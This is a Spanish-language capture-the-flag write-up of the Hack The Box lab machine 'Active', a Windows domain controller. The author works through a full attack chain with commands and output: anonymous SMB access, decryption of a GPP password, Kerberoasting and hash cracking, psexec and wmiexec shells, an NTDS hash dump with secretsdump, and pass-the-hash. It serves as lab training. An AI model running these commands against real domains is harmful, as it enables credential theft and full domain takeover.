Active

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

El CTF “Active” se sitúa en un entorno Windows que simula un dominio de Active Directory, un tipo de infraestructura común en redes empresariales. A través de un análisis inicial de superficie (enumeración), se identifican varios servicios clave como SMB, Kerberos y LDAP. El primer vector de acceso se encuentra en la exposición de recursos compartidos, específicamente la carpeta “Replication”, la cual contiene archivos de políticas de grupo (Group Policy Preferences) accesibles de forma anónima. A partir de estos, se recupera un archivo Groups.xml con credenciales cifradas, las cuales pueden ser fácilmente desencriptadas gracias a una clave AES pública conocida, lo que facilita obtener una cuenta válida dentro del dominio.

Con estas credenciales, el siguiente paso implica realizar una enumeración más profunda, ahora autenticada, sobre los recursos compartidos y los usuarios del dominio. Utilizando herramientas como smbmap, ldapsearch y scripts de la suite Impacket, se puede consultar información sensible como flags de control de cuentas o la existencia de cuentas con Service Principal Names (SPN), que son esenciales para explotar un vector muy conocido en entornos Kerberos: el Kerberoasting. Este ataque permite solicitar y capturar tickets cifrados (TGS) que luego se crackean offline para revelar contraseñas de cuentas privilegiadas.

El acceso final al dominio se logra al crackear un hash Kerberos perteneciente a la cuenta de administrador, lo que habilita la ejecución remota de comandos con privilegios completos. Con herramientas como wmiexec.py, se establece una shell remota como Domain Admin, desde donde se puede acceder al archivo de recompensa final del reto. En conjunto, este CTF enseña técnicas prácticas de post-explotación en redes Windows, haciendo uso de vectores comunes como SMB misconfigurado, contraseñas embebidas en políticas de grupo y la debilidad del protocolo Kerberos frente al Kerberoasting.

Enumeración:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# nmap -sCV --open -T4 -v -n 10.10.10.100
📌Parámetros
  • -sCV:

    • -sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n: No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v: Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultados:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-20 05:47:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-20T05:47:59
|_  start_date: 2025-04-20T05:45:02
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
|_clock-skew: -8m44s

En síntesis, los puertos donde nos vamos a centrar:

Puerto	  | Estado | Servicio	    | Protocolo
88/tcp	  | open   | kerberos-sec   | TCP
139/tcp	  | open   | netbios-ssn    | TCP
389/tcp   | open   | ldap           | TCP
3268/tcp  | open   | ldap           | TCP

Lo primero que vamos a hacer es agregar el dominio que nmap nos arrojó a nuestro archivo /etc/hosts para evitar problemas con el virtual host.

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# echo "10.10.10.100    active.htb" >> /etc/hosts 

Lo segundo que haremos es sincronizar el horario del equipo kali con el del servidor, ya que nmap también nos detecto esa falla con el siguiente mensaje clock-skew: -8m44s: Esto indica una diferencia de tiempo (desfase) entre el reloj del escáner (máquina kali) y el del servidor. En este caso, el reloj del servidor está adelantado 8 minutos y 44 segundos respecto al del kali. Esto puede ser relevante en ataques como Kerberoasting o Pass-the-Ticket, donde una desincronización importante puede invalidar tickets de autenticación basados en tiempo.

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# ntpdate 10.10.10.100

2025-04-25 15:30:57.466477 (-0400) -526.599843 +/- 0.129098 10.10.10.100 s1 no-leap
CLOCK: time stepped by -526.599843

Unauthenticated enumeration

Empezamos por enumerar recursos con smbmap conectándonos sin credenciales

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbmap -H 10.10.10.100                           

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports...                                                              
[*] Detected 1 hosts serving SMB     
[|] Authenticating...     

[+] IP: 10.10.10.100:445        Name: 10.10.10.100              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 
        Users 

En este punto nos vamos a encontrar con el directorio Replication, y si exploramos su contenido vamos a encontrar el archivo Groups.xml que contiene información sensible sobre una cuenta de dominio (SVC_TGS) y su contraseña cifrada. Esta contraseña fue almacenada mediante un cifrado AES-256 que, si bien puede parecer seguro, utiliza una clave pública que fue publicada por Microsoft en su documentación. Esto permite que cualquier atacante con acceso de lectura al archivo pueda desencriptar la contraseña fácilmente con herramientas como gpp-decrypt. Esta exposición de credenciales es el reflejo de una mala configuración de los entornos que está relacionada con la GPP.

Group Policy Preferences (GPP): las GPP son una extensión de las Directivas de Grupo clásicas utilizadas en entornos de Active Directory, que permiten a los administradores configurar ajustes específicos en equipos unidos al dominio. Entre otras funcionalidades, permiten la creación de cuentas locales y la aplicación de configuraciones sin necesidad de scripting, utilizando archivos XML almacenados en el recurso compartido SYSVOL, el cual es accesible para todos los usuarios autenticados del dominio.

En este caso el recurso Replication resulta ser una copia del SYSVOL

Lo siguiente que hacemos es conectarnos al equipo objetivo con smbclient para buscar el archivo Groups.xml y descargarlo

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Replication
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.

smb: \> cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018

                5217023 blocks of size 4096. 283794 blocks available

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)

Nota: si quieres aprender más sobre las GPP te recomiendo el siguiente artículo

Groups.xml

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# cat Groups.xml         
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06"
 uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" 
 cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" 
 noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

gpp-decrypt: la herramienta gpp-decrypt se utiliza para descifrar contraseñas almacenadas en archivos XML generados por las Group Policy Preferences (GPP) en entornos de Active Directory.

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

Una vez que tenemos credenciales nuevas lo mejor es validarlas contra los servicios más comunes para encontrar el siguiente vector de ingreso. Para automatizar este proceso diseñe el siguiente script en bash que puedes encontrar en mi repositorio: service_validation.sh

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh active.htb svc_tgs 'GPPstillStandingStrong2k18'

[*] Probando credenciales contra active.htb con usuario 'svc_tgs'...

--- Probando smb ---
SMB         10.10.10.100    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18

--- Probando ldap ---
SMB         10.10.10.100    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
LDAP        10.10.10.100    389    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18

--- Probando winrm ---

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.10.100    135    DC               [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb)
RPC         10.10.10.100    135    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18

--- Probando ftp ---

--- Probando ssh ---

Vemos que las credenciales funcionan para conectarnos al smb, entonces podemos volver a enumerar recursos smbmap y ver si encontramos algo nuevo:

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# smbmap -H active.htb -u SVC_TGS -p 'GPPstillStandingStrong2k18'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports... 
[*] Detected 1 hosts serving SMB     
[|] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[\] Enumerating shares...
[-] Enumerating shares...                                                                                                                                                                        
[+] IP: 10.10.10.100:445        Name: active.htb                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share 
        Users                                                   READ ONLY
[\] Closing connections.. 

Navegando por el directorio User con smbclient nos vamos a encontrar con la user flag

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Users -U SVC_TGS               
Password for [WORKGROUP\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Sat Jul 21 10:39:20 2018
  ..                                 DR        0  Sat Jul 21 10:39:20 2018
  Administrator                       D        0  Mon Jul 16 06:14:21 2018
  All Users                       DHSrn        0  Tue Jul 14 01:06:44 2009
  Default                           DHR        0  Tue Jul 14 02:38:21 2009
  Default User                    DHSrn        0  Tue Jul 14 01:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 00:57:55 2009
  Public                             DR        0  Tue Jul 14 00:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 11:16:32 2018

                5217023 blocks of size 4096. 278791 blocks available
smb: \> cd SVC_TGS
smb: \SVC_TGS\> dir
  .                                   D        0  Sat Jul 21 11:16:32 2018
  ..                                  D        0  Sat Jul 21 11:16:32 2018
  Contacts                            D        0  Sat Jul 21 11:14:11 2018
  Desktop                             D        0  Sat Jul 21 11:14:42 2018
  Downloads                           D        0  Sat Jul 21 11:14:23 2018
  Favorites                           D        0  Sat Jul 21 11:14:44 2018
  Links                               D        0  Sat Jul 21 11:14:57 2018
  My Documents                        D        0  Sat Jul 21 11:15:03 2018
  My Music                            D        0  Sat Jul 21 11:15:32 2018
  My Pictures                         D        0  Sat Jul 21 11:15:43 2018
  My Videos                           D        0  Sat Jul 21 11:15:53 2018
  Saved Games                         D        0  Sat Jul 21 11:16:12 2018
  Searches                            D        0  Sat Jul 21 11:16:24 2018

                5217023 blocks of size 4096. 278791 blocks available
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> dir
  .                                   D        0  Sat Jul 21 11:14:42 2018
  ..                                  D        0  Sat Jul 21 11:14:42 2018
  user.txt                           AR       34  Sun Apr 20 01:46:16 2025

                5217023 blocks of size 4096. 278791 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Otra forma de conectarnos al SMB especificando usuario y contraseña en la misma línea es de la siguiente forma:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Users -U SVC_TGS%GPPstillStandingStrong2k18

Kerberosting con impacket-GetUserSPNs.py

Lo siguiente que vamos a implementar es un ataque Kerberoasting ya que también tenemos acceso al servicio LDAP. Si no estás familiarizado con este tipo de ataques te recomiendo que veas la siguiente sala de THM que resolví en este blog Attacking Kerberos, allí podrás ver en detalle cómo y porqué funciona este tipo de ataques. Pero básicamente vamos a enumerar cuentas de usuario en Active Directory que tengan configurado un Service Principal Name (SPN). Un Service Principal Name (SPN) es un identificador único que vincula una cuenta de servicio con una instancia específica de un servicio dentro de un dominio. Cuando un usuario tiene un SPN asignado, podemos solicitar un Ticket de Servicio (TGS) para ese SPN. El ticket estará cifrado con el hash NTLM de la cuenta de servicio. Si esa cuenta tiene privilegios elevados y una contraseña débil, podemos crackear el TGS offline y obtener acceso. Para realizar el Kerberosting usaremos impacket-GetUserSPNs.py

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -outputfile spn.txt

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2025-04-25 14:50:03.426167             

[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$0db1a1785dd64552e048c1b8fe2d548a$37755c15449103ef34c
6b77d74eb7739b4513b3723fa19bfad2663cc89bac7266a21b0ae7d24a7b86f089fbfe4e87cbcf8996083dcfe399af280ac35eb6c6112ce4045c
38105ff9a4df0edd7a0178fbecf789c5c1c39c9c17c41afecdf791906ea85d3c54256c07cce8a1cb734aee4cc16d8687821d25a8c468fb29eff9
75254d4896e9c8b7c6806bb052b7961e95124b56211766ff8ea9d42a4856e3af5bdc2aa73aaa414f5fb37eb84d1061c16bcefd4f0b60266120b2
e687ccf2bfdb10d5c19da7c5120bca9ce335fddc7d7b1d41f8bc3b1dcbeecc13cf4b5f4a874e4540704a4bacd537c257425db7ae704e04406bc7
cae1ca16e06ef13f3d1ca20dd0624de3eb32eaf0e2e69647e4e65ab7e2a95c25ea0093b4622ce95a03bbeb80f4aaecbfacee4af5a2476a0cec4e
35a6205b83a01fac0fe70b0e6ee5d77e3e2d9d3267100d8c713b5d7f2adff2cd6528c3ba81f92a4a59520a11d4ed10d7f0b02cba5fbd3818e75d
d14f73fd0c69ba763da388881d5494df9a8ac99ce32362c407f0ea6a5d47d65f55d0de0fa61dcc7bd3aabe05e4f0ac947b16a39281826ee602a8
f787308cd36d61fc11c3fe592073dd598d065eb2d54cad1cb054b594104ba350e1dc39bc7f3e65f7e4e010468efb708df2c1efbe6b0076a8971f
cb0cd642f0aa75d2762a9643a57eb014d7dbfa9ca9fbeb5bb1234e1acc476926813a5d1d5251d403466237338dae843dcc5c4985bb3ff05ba412
c29813ae16479672fc1728e9d90cb4db7341a430b069795c2c2f49f5b6edc886262b510bb1c7a501abba516d080ec4f93413453b714259183d1c
8f02dcc8ade6374fa4ac5fedc622b04579f6a06ee80677474e84b77ba114ff0bf00ef6db8aae9fcdef7725892c9b713b55b69ede7a292b928f15
a4e5db5b07982b9277b563561367b318179c31642e8076e4f8667c53c4f9060d240958aa08905cd4a26f9de0513337e330ab7dae853c09356b6a
6480ea497ff0e0e607891627381994c0abfca8d3007cd442ff51d6d3bc322394fb9af8bdb7e17c105a107011ede56f764a5c288f6d8adebd1a3a
3a54654a90905b62903ad6999505f7820ce5fa63256eb5f7a34e783823e36c01200f7f5630532fa8824b0614a77ac62969ae3924e1a69d4da8f5
dca2bcf6c4e6af9ba75bed8b84b283801c6811852529dff38ada2ac0eb436a7eaa308de0e7e0e9e01e758aa95b8b854e09f4112c042242adf2b5
4ff79bcd5d959f2cb86e8
📌Parámetros
  • active.htb/SVC_TGS:GPPstillStandingStrong2k18 Indica las credenciales usadas para autenticarse. active.htb es el nombre del dominio, SVC_TGS es el nombre del usuario, GPPstillStandingStrong2k18 es la contraseña del usuario.

  • -dc-ip 10.10.10.100 Especifica la IP del Domain Controller con el que se va a comunicar la herramienta.

  • -request Le indica a la herramienta que además de listar los usuarios con SPN, solicite sus tickets TGS, necesarios para Kerberoasting.

  • -outputfile spn.txt Especifica que la salida con los hashes TGS obtenidos será guardada en un archivo llamado spn.txt, listo para usar con herramientas como hashcat.

TGS Cracking con John

Ahora para descifrar el hash del TGS con John The Ripper

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# john -w=/usr/share/wordlists/rockyou.txt spn.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)     
1g 0:00:00:07 DONE (2025-04-25 21:26) 0.1351g/s 1423Kp/s 1423Kc/s 1423KC/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
📌Parámetros
  • --format=krb5tgs Indica el tipo de hash que se va a crackear. En este caso, es un hash Kerberos TGS (Ticket Granting Service), lo que corresponde a un ataque de Kerberoasting.

  • -w=/usr/share/wordlists/rockyou.txt Especifica el diccionario que se va a usar para el ataque. En este caso, es el archivo rockyou.txt, un diccionario común que contiene millones de contraseñas potenciales.

  • spn.txt Es el archivo que contiene el hash Kerberos TGS extraído previamente con GetUserSPNs.py -request. Este es el hash que se intentará crackear.

Ahora que conseguimos otro par de credenciales nuevas podemos chequear cuales son los servicios a los que podemos acceder:

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh active.htb Administrator 'Ticketmaster1968'

[*] Probando credenciales contra active.htb con usuario 'Administrator'...

--- Probando smb ---
SMB         10.10.10.100    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

--- Probando ldap ---
SMB         10.10.10.100    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
LDAP        10.10.10.100    389    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

--- Probando winrm ---

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.10.100    135    DC               [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb)
WMI         10.10.10.100    135    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

--- Probando ftp ---

--- Probando ssh ---

Remote Code Execution con Psexec

Para finalizar el CTF nos conectamos al equipo objetivo con impacket-psexec y buscamos las flags que nos faltan. Para comprender mejor el funcionamiento de esta herramienta te recomiendo que leas el siguiente artículo:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-psexec administrator@active.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:Ticketmaster1968
[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file Euymqpmr.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service bYsy on active.htb.....
[*] Starting service bYsy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd ../../Users/Administrator/Desktop
 
C:\Users\Administrator\Desktop> type root.txt
ea10e3e******************

Otra forma de conectarnos con psexec especificando usuario y contraseña en la misma línea es con el siguiente comando:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-psexec administrator:Ticketmaster1968@active.htb

Otra forma de localizar archivos específicos como flags, desde la raíz, es usando el comando dir file_name /s

C:\> dir user.txt /s   
 Volume in drive C has no label.
 Volume Serial Number is 15BB-D59C

 Directory of C:\Users\SVC_TGS\Desktop

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
27/04/2025  07:52 ��                34 user.txt

               1 File(s)             34 bytes

     Total Files Listed:
               1 File(s)             34 bytes
               0 Dir(s)   1.163.612.160 bytes free

C:\> dir root.txt /s
 Volume in drive C has no label.
 Volume Serial Number is 15BB-D59C

 Directory of C:\Users\Administrator\Desktop

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
27/04/2025  07:52 ��                34 root.txt

               1 File(s)             34 bytes

     Total Files Listed:
               1 File(s)             34 bytes
               0 Dir(s)   1.163.612.160 bytes free

Bonus: Pass the hash con impacket-secretsdump

¿Qué es un ataque Pass-the-Hash?

El ataque Pass-the-Hash permite autenticarse contra servicios de red (como SMB, WinRM, WMI, RDP) sin conocer la contraseña, usando directamente el hash NTLM del usuario como si fuera su credencial. Esto sí se puede hacer si tenés el hash NTLM completo (no cifrado) de la cuenta. Para implementar este ataque usaremos impacket-secretsdump

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-secretsdump active.htb/administrator:Ticketmaster1968@10.10.10.100 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3a1d3c38140684ff4dad029f25b5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:449aa2e074193f0ed41457ff6d72fbf8:::
[*] Cleaning up...
📌Parámetros
  • active.htb/administrator:Ticketmaster1968 Credenciales válidas usadas para autenticarte en el dominio:

    • active.htb: nombre del dominio.

    • administrator: usuario con privilegios.

    • Ticketmaster1968: contraseña del usuario.

  • @10.10.10.100 IP del controlador de dominio o del sistema objetivo.

  • -just-dc-ntlm Le indica a la herramienta que extraiga solamente los hashes NTLM de los usuarios del dominio (no secretos LSA, ni claves Kerberos, ni contraseñas en texto claro). Utiliza el método DRSUAPI sobre el controlador de dominio para acceder directamente a NTDS.DIT.

Ahora le pasamos el hash a impacket-psexec o impacket-wmiexec, no podemos usar EvilWinRM para este caso porque no está disponible el puerto de winrm

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# impacket-wmiexec 'active.htb/Administrator@10.10.10.100' -hashes aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoami
active\administrator
┌──(root㉿kali)-[/home/…/Documents/HTB/ACTIVE/active]
└─# impacket-psexec 'active.htb/Administrator@10.10.10.100' -hashes aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file oLgphjxu.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service YDIE on 10.10.10.100.....
[*] Starting service YDIE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Localizando Groups.xml con impacket-Get-GPPPassword

Cuando un entorno es vulnerable a la exposición de contraseñas vía GPP, podemos usar impacket-Get-GPPPassword para buscar el fichero Groups.xml, pero se recomienda tener previamente credenciales de algún usuario

┌──(root㉿kali)-[/home/…/Documents/HTB/ACTIVE/active]
└─# impacket-Get-GPPPassword active.htb/SVC_TGS:GPPstillStandingStrong2k18@10.10.10.100 

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Listing shares...
  - ADMIN$
  - C$
  - IPC$
  - NETLOGON
  - Replication
  - SYSVOL
  - Users

[*] Searching *.xml files...
[*] Found a Groups XML file:
[*]   file      : \\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
[*]   newName   : 
[*]   userName  : active.htb\SVC_TGS
[*]   password  : GPPstillStandingStrong2k18
[*]   changed   : 2018-07-18 20:46:06

Last updated